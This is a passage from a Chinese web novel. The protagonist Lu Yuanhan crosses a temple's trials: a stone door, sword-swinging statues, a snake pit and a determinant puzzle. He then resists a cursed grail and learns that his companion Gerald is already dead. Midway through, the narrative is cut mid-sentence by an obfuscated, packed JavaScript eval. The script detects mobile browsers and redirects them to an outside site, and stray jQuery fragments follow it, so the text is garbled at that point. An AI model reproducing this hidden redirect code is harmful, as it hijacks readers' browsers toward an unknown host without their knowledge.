兽爪,转瞬间又来了一只,畸变的黑趾屈成利爪,狰狞而至,他索性直接顶着兽爪踏地前冲,将锯肉刀架在了那倒悬獠牙的兽口之中。 怪物的涎液一滴滴顺着牙尖落在了他脸颊上,温热而腥臭,就像盛着腐烂物的泔水。 那感觉太黏腻,实在让人感到反胃。 路远寒面上闪过一丝嫌恶,他手下用力,竟整个人撞了进去,猛然插着刀将它腹部贯穿,碾碎那些畸变的脏器,从背后而出,就像挣脱出了怪物巢穴。顷刻间,被他撕裂的血肉满天飞溅,雨幕似的湿漉漉浇了他一身,让那身黑色的风衣长靴也带上了杀戮的深红。 踩着遍地血色,路远寒从怪物尸体上走出,将刀身上黏稠的死肉甩下,朝惊魂未定的队员招了招手,示意杰拉尔过来帮忙。 不知道还有多少怪物在雾中游荡,要是成群结队地出现,就是他也无法招架了。 路远寒就地取材,将那条黑色兽爪从怪物臂上砍断,削成了一条纤长而柔韧的骨鞭,在掌中盘了几圈,让杰拉尔拽着鞭尾跟在身后。 他们掠开浓雾,那阵阴湿的水气萦绕在鼻腔内越来越重,随时都要侵入肺腑一样,就连呼吸都被潮水的腥气浸透。 望着杰拉尔逐渐发白的脸,路远寒发现,在这雾中停留得越久,越容易被异化。 他不再留出整顿休息的时间,领着仅剩的一名队员朝神庙狂奔,直到两人跑上海角,雾气散去,那座石门出现在了他们面前。 看来这就是神庙的入口了,路远寒停下脚步,打量着从高处降下的石门。 那厚重的石门看上去极为巍峨,悍然落在地上,掩盖着往神庙而去的通道。旁边并没有任何关于这道门的提示,也没有守庙人,路远寒试着用手杖猛地撞上门扉,却发现它密度极大,超出了异物能破坏的范围。 “长官,门后好像有机关。”杰拉尔说道。 他整个人伏在地上,试图从缝隙里一睹神庙的真容,果真发现里面有机关。路远寒微微皱眉,倒是可以让触手进去,但杰拉尔就在旁边,他并不能暴露自己的身份。 路远寒思索片刻,想到了办法。 他将手杖抵在门下严丝合缝地卡住,尝试着撬起石门。 即使借助了异物的力量,那沉重的石壁仍然让他面上涨红,全身肌肉紧绷,才勉强维持住一道可供人通过的缝隙。路远寒当机立断,让杰拉尔进去踩住机关。 杰拉尔奉行他的命令,顺着缝隙往神庙里爬去。 短暂的一分钟似乎延伸到了无限长,大门缓慢朝着下方滑落,而他的双腿仍有小半停留在外面。就在路远寒要坚持不住,石门轰然砸落之际,杰拉尔猛然一颤,终于缩了进去。 路远寒看到手杖底部的裂纹,不免感到一阵心如滴血。 这件异物很趁手,除了机动性强的敌人,多数情况下都能发挥作用,现在有了损毁,他自然会感到惋惜。 好在手杖并没有彻底损坏,还有挽回的余地。 据路远寒所知,海上同样有能修复物品的工匠与机械师,那些手艺人在各个船队流通的岛上都有驻扎地,只不过他们性情孤僻,通常会开出一些让人难以接受的苛刻条件。 等到离开这座岛,他打算去一趟工匠联盟,请人将这件异物修好。 就在这时,隆隆的震响打断了他的思绪。 58. 黑帆暗涌(9) 石门缓缓升起,露出了一片幽深的通道。 杰拉尔正踩在微微突起的砖面上,见路远寒走进来,他才挪开机关,让神庙的大门重新落了下去。 终于远离了那片浓雾,两人心中都松下了一口气。 两侧石壁上点着一盏又一盏昏暗的烛火,路远寒将银戒按灭,看到旁边伫立着无数巨大雕像,它们肃然排开,容貌大多与镇上那名守卫相似,手上则拿着极高的钢剑铁斧,在两人经过的瞬间,骤然向他们劈下来,带起呼啸的厉响。 路远寒早有提防,立即按着杰拉尔的肩膀,从一阵刀光剑影中闪过。 与镇上的守卫相比,这些雕像要显得神圣一些,似乎承担了看守神庙的职责,只是用武器制造出了危险,却没有走下来追杀他们,并不会置两名擅闯者于死地。 比起惩戒,这更像是一种对勇气、胆量和反应速度的试炼。 路远寒不禁想道。 他们用了大概三分钟跑到尽头,石砖的纹理蜿蜒成一条雕刻精致的通路,直到烛火消失,脚下的路也戛然而止,迎面吹来一阵让人浑身颤抖的寒风。 路远寒望向对面,那里同样被火光映出一处入口,两座门洞之间隔着数百丈远,底下则是充满了蛇的洞窟。 “嘶嘶…簌簌……” 随着幽影涌动,不断荡起鳞片摩擦和蛇信嘶鸣的声音。 一根又一根高耸的石柱从洞窟底部拔地而起,顶层面积窄小,勉强能用来落脚。柱身上则缠着无数条寸许宽的毒蛇,在黑暗中缓慢游动,那些冷血动物的眼睛闪着粼粼波光,望进去便像是跌进了深海之下,使人心生恐惧。 杰拉尔倒抽了口气,似乎有些头皮发麻。 “长官,在我们家乡那边,很多人都会用药草袋驱蛇,他们认为蛇是一种邪恶的象征,会给村庄带来灾厄,我倒是知道几个避蛇的方子……”杰拉尔一边说着,一边面带犹豫地打量着下方,“只不过这座洞窟里的蛇太多了,恐怕起不到什么效果。” 路远寒也没指望靠一名水手通过眼前的关卡,神庙的提示很明显,他们得走上石柱,在极端的恐惧下小心翼翼地维持住平衡,才能抵达对面。 一步踏错,就要摔下去被万蛇噬心。 对于这种爬行动物,路远寒并不怎么畏惧,反倒微妙地想,要是能将下面的蛇捕捞上来,食物的问题也就迎刃而解了。 “杰拉尔。”他转身望着这名队员,将手上的黑骨固定得更紧了一些,极为笃定地做出了承诺,“握好这截骨鞭,我会带你过去的。” 属于指挥官的声音从深黑的面具后传出,以往总显得冷峻、自傲,漫不经心,现在却成了最为可靠的后盾,抚平了杰拉尔内心多余的情绪。 做好准备后,路远寒踏上为首的那根石柱,杰拉尔紧随其后。 脚下的石壁并非毫无起伏,但两人走得极为稳当,也就没有出现任何意外状况。直到倏然间蹿出一条背有斑纹的游蛇,咬上了路远寒的长靴,杰拉尔猛然停下,却见长官提着刀斩断了蛇身。 银光闪过,蛇头应声落下,并没能咬穿那双金属跟的重靴。 相较而言,杰拉尔的运气就要好得多,直至他们从最后一根石柱走下,也没有遭到毒蛇攻击。路远寒虽然毫发无伤,手里的刀却沾上了不少具有腐蚀性的液体,不得不停在门洞前,用拭纸将刀身清理干净。 昏黄灯火下,两人走进内室,还保持着提防的姿态。却没想到里面没有杀人雕像,也没有蛇窟,只有一扇微微落灰的铜铸大门横亘在面前,将他们拦在了此处。 路远寒凝神望去,只见门壁中央镶嵌着突起的刻盘,盘身上有一道用于指明读数的凹槽,周围共分了三百六十格精细的刻度。 看上去要将刻盘拨动到正确的位置,才能打开这扇金属门。 他不由得暗想,先是胆量,再考验耐心,最后甚至出了一道谜题,这座神庙的关卡设计得未免也太繁琐了。 “长官,这门上的壁画是提示吗?” 杰拉尔已经走到了门前,观察着雕刻的图案。 壁画上有九个托着金盘的古人,他们或将盘子举在头顶,或放在脚下,盘中盛着数量不同的小珠,在最上方还刻着一行用于解释说明的文字,只不过痕迹模糊,两人都辨认不出那是什么语言。 路远寒眉头紧皱,指腹抚上刻盘轻轻摩挲,表明着他正在思考。 3、5、1、2、0、4、1、7、2 不过瞬间,他就数清了每一个金盘有多少颗珠子。他试着用这些数字做四则运算,将上方视作相加,下面作为相减,指节掠过刻盘,将凹槽拨向得出的结果,铜门却毫无打开的迹象。 风声响动,斜刺里骤然射出一支冷箭。 路远寒反应极快,当即侧身避开了锋利的箭头,却险些让杰拉尔遭殃中箭。 看来输入的不是正确结果,路远寒面色微变。他重新端详着门上的壁画,忽然灵光一闪,有了新的想法。若将这九人分为三行三列,加减视作正负,按照对角线作三阶行列式运算,那么: 3×0×2+5×(-4)×1+1×2×7-1×0×1-5×2×2-3×(-4)×7 最终的结果是58。 他谨慎地将刻盘转向了答案,让杰拉尔保持警惕。好在这次没有冷箭,铜门倏然而开,扬尘飞起,露出了神庙最里面的忏悔室。刚走进忏悔室,路远寒就看到了一块告示牌,牌匾后蹲着只两侧长角的石兽,正幽幽地望着面前的外来人。 “朝圣者,恭喜你通过了考验,你的心灵纯洁无暇,你的品质值得歌颂,上天将赐予你重生的资格……将手放上入口,就能前往圣所。” 杰拉尔低声读出了牌匾上刻着的内容。 路远寒观察到,那座石兽嘴巴微张,露出一道可供手掌探进的缝隙,而里面似乎藏着什么东西。 他伸手挤进石隙,在深处摸到了一颗触感冰凉的宝石,仅靠指尖摩挲,就知道它价值不菲,要是拿去拍卖,恐怕能买下一艘小型探索船。 他并没有第一时间拿出宝石,反倒将手抽了出来,重新站在了告示牌前,打量着那几行文字。倏然,路远寒抚上石匾,将“入口”的刻文按了下去。 随着门轴摩擦的声响,隐藏在石兽背后的门打开了。 看来那告示牌仍然是神庙设下的陷阱,要是放松警惕,将石兽嘴中的宝石拿走,恐怕会触发什么机关,也就无从进入真正的密室。 路远寒走进暗门,顺着漫长的阶梯一直往下,倏然白光亮起,将下方这座密室照得极为通透,他看到了不远处的祭台,以及台面上摆着的金杯。似有意识的灰雾簇拥着雕刻华美的祭台,而杯中盛着一片盈盈的水光,如月色下的海潮,不断荡漾出神秘的气息。 看到那圣杯的一瞬间,他就听到了无数朦胧的呓语。 理智提醒着路远寒其中的诡异,但他的身体却被蛊惑了,脚下一步一步由沉重逐渐变得轻盈,让他不由自主地朝着祭台走去。 圣杯仍在呼唤着他,那阵雪光倾泻在他发尾,阴冷地缠上了他的脖颈。路远寒眼中亦盛着一片幽静的白,就在此刻,杰拉尔的呼吸似乎消失了,寂静中只剩下他沉默的心跳,在胸腔内微弱地起伏着。 “喂!那个黑衣服的!” 从背后传来的呼喊声让路远寒猛然惊醒,他回头望去,才发现后面竟然有一间囚室,有个海盗打扮的男人双手紧攥着栏杆,似乎被困在此地几天了,饿得两颊消瘦,正焦急地出声吸引他的注意。 路远寒摆脱了那种诡异的状态,当即拿出飞刀,在手腕上划开一道伤口,鲜血顺着指尖滴下,剧痛感让他能保持神智清醒。 “杰拉尔,停下。” 他没忘记同样置身险境的队员,骨鞭一抽,从路远寒手中骤然飞出,轻盈地卷着杰拉尔的腰身,靠那股强硬的力量将人拽停了下来。 男人倏然闭上了嘴,用疑惑的目光望向他,就像看着一个怪物。 路远寒让杰拉尔背朝祭坛,不要让视线对上圣杯里的水光。他的目光落在了男人身上,扫过对方的断手、携带的武器,随即往高处延伸……从囚室直着往上数十米,就是石兽的位置。 他猜测,男人应该是上一个拨动机关的人,结果触发陷阱,才摔下来困在了这里。 “小子,把我弄出去,银白幽灵号不会亏待你的。” 男人一边满面横态地威胁着,一边拖着身体挪近了些,看上去对自己所属船队的名号颇有信心。 路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13519482|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远寒这才发现,他伤得极其严重,连脊椎都摔断了大半,丧失了行动能力,恐怕是靠钩爪延缓了下降的冲势,才没有直接摔死。他再倒霉一点的话,就要高位截瘫了。 银白幽灵号,他品味着这个名字,听上去像是一艘海盗船。 留意到他若有所思的视线,男人不自在地拍了一下栏杆,口中骂骂咧咧:“妈的……听不到吗,让你救我出去,老子这是大难不死必有后福!要不是这座破庙,我早就拿着圣杯走了。” 路远寒想,连海盗都觊觎的东西,必然是一件宝物。他对圣杯的价值有了大致的估测,只是要跟海盗船交涉的话,恐怕就无法和平谈判,得采取手段制服对方了。 这座岛人迹罕至,探索队也是遇上特殊情况才停靠在了这里,如此看来,旅馆里死去的人和男人多半是同一批抵达岛上的了。 路远寒心念陡转,脑海中的影像一幕幕飞快倒流,从持刀雕像、阴湿的浓雾一直跳转到那座旅馆,最后定格在了他搜查尸体的时候,在外来者手上发现的痕迹——表面被褐色覆盖,轮廓呈月牙型的伤痕。要确认死者的身份,这就是一个极为鲜明的标识。 “急什么。”他俯身蹲在男人面前,极具压迫感地注视着对方的眼睛,开口问道,“有一个手上长着半月疤的人,你认识他吗?” 男人略显惊讶,又有点怀疑地望着他:“你是老维派来的?我怎么不知道他还请了外援……这贱人果然想篡权,早知道就该把他剁了喂鲨鱼,狼心狗肺的东西,也不记得是谁把他从死人堆里捞出来的了!” “长官,这人应该是海盗,所有出海的人都知道,他们烧杀掳掠,无恶不作,绝对不会信守承诺的,千万别把他放出来!” 骨鞭略微抖动,杰拉尔的声音听上去有些冷酷,或许是因为探索船与海盗之间本就是敌对关系,于情于理,他都不会同情一名海盗。 路远寒生性多疑,当然不会轻信于人,更何况是一个刀尖舔血的恶徒。只是他还需要从男人口中套取情报,不得不先稳住对方的情绪,等到男人没有任何利用价值了,再杀人灭口也不迟。 他斟酌片刻,沉声编出了一套虚伪的说法:“杰拉尔,船上的人还需要食物,要是没有任何补给的话,恐怕撑不到我们回……” “喂!”男人满腹狐疑地开口了。 “我说你这家伙……从刚才开始你就一直往旁边看什么呢,这密室里还有什么机关陷阱吗?什么食物,什么杰拉尔,难道你手上那条鞭子是活着的?这鬼地方已经够瘆人的了,别他妈吓老子了。” 男人还在那里念叨着什么,路远寒却倏然停了呼吸。 背后似有寒意升起,杰拉尔的声音轻飘飘拂过他的耳膜,满怀恶意地钻进去,侵占了他脑海里所有思绪,就像在贴着路远寒的耳根吐气一样: “被怪物抓着毫发无损,走过蛇窟也一点都不觉得费力……长官大人,你说,我是不是已经死了呢?” 不!这怎么可能? 难道这一路看到的都是幻象,是他自己斩杀怪物,抬起石门,最终到了这个地方?路远寒毛骨悚然,无法接受事情的真相,面具下的血管一根又一根扭曲蠕动着,杰拉尔分明是个活人,至少在前面几小时,他没有观察出任何异常……是从什么地方开始出问题的? 要说一切都是假的,那自己为什么会知道杰拉尔家乡那边用来避蛇的方法,这也是大脑作祟,从异界的记忆中提取加工而成的吗?他的意识到底被篡改了多少! 钢刀落地,激起沉重的声响。 男人惊悚地退后,望着面前的怪人手指狠拧在地上,攥出一道道可怖的血痕。 他的指尖被石子磨得鲜血淋漓,颤抖着从风衣口袋里摸出一卷烟草,下意识摩挲片刻,点着后往嘴中送去,却戳在了漆黑的止咬器上,刹那间,薄雾如水一般从缝隙间流入猩红的嘴唇。 打火机浸了血,金属上的斑点在火光下微微浮动。 路远寒想起来了,离开旅馆时,他潜伏在走廊的阴影之中,压低了自己的呼吸,等待着老板娘从楼梯上出现。他脚下踩着某种温软的东西,比地毯细腻,比海雾更阴湿,还会因为重靴走过而发出潺潺流血一样黏稠的声音。 ——那是杰拉尔的尸体。